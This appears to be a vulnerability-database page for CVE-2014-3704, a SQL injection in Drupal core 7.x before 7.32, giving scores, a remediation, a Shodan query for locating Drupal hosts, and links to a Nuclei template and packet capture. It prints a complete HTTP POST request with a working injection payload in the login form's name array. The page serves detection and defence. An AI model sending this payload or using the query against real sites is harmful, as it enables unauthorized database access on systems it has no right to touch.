🔙 목록으로 돌아가기

CVE-2014-3704: Drupal SQL Injection

TitleDrupal SQL Injection
Authorprincechaddha
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the Drupal application and its underlying database.
RemediationUpgrade to Drupal core 7.32 or later.
CVSS Score7.5
EPSS Score0.94366
CVE IDCVE-2014-3704
CWE IDCWE-89
Shodan Queryhttp.component:"drupal"cpe:"cpe:2.3:a:drupal:drupal"
Tags cve2014 cve edb drupal sqli vkev vuln

🔍 Vulnerability Description

The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing specially crafted keys.

🌐 HTTP Request

POST /?q=node&destination=node HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Content-Length: 124
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0x23,concat(1,md5(3603)),1)%23]=bob&name[0]=a

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2014/CVE-2014-3704.yaml

🦈 Packet Capture: ⬇️ Download cve-2014-3704.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A